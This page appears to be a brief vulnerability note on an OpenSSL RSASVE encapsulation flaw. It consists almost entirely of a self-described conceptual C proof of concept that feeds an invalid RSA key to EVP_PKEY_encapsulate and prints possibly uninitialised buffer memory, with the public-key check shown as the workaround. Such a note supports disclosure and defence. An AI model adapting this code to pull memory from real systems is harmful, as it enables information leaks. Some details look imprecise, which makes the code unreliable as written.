CVE-2026-31790 OpenSSL RSASVE密钥封装信息泄露漏洞

#include <openssl/evp.h> #include <openssl/pem.h> #include <stdio.h> // Conceptual PoC for CVE-2026-31790 // Demonstrates uninitialized memory disclosure risk // when using an invalid RSA key with EVP_PKEY_encapsulate. int main() { EVP_PKEY_CTX *ctx = NULL; EVP_PKEY *pkey = NULL; unsigned char out[256]; // Ciphertext buffer size_t outlen; // 1. Load an attacker-controlled invalid RSA public key FILE *fp = fopen("invalid_rsa_pub.pem", "r"); if (!fp) return 1; PEM_read_PUBKEY(fp, &pkey, NULL, NULL); fclose(fp); // 2. Create encapsulation context ctx = EVP_PKEY_CTX_new(pkey, NULL); EVP_PKEY_encapsulate_init(ctx, NULL); // 3. Vulnerable Code Path: // If EVP_PKEY_public_check() is NOT called here, // and the key causes internal encryption failure, // 'out' buffer may contain uninitialized data. // Workaround (Uncomment to fix): // EVP_PKEY_public_check(ctx); // 4. Perform encapsulate if (EVP_PKEY_encapsulate(ctx, out, &outlen, NULL, 0) <= 0) { printf("Encapsulation failed.\n"); } else { printf("Encapsulation succeeded. Output buffer contents:\n"); for(int i=0; i<outlen; i++) printf("%02x", out[i]); printf("\n"); } EVP_PKEY_CTX_free(ctx); EVP_PKEY_free(pkey); return 0; }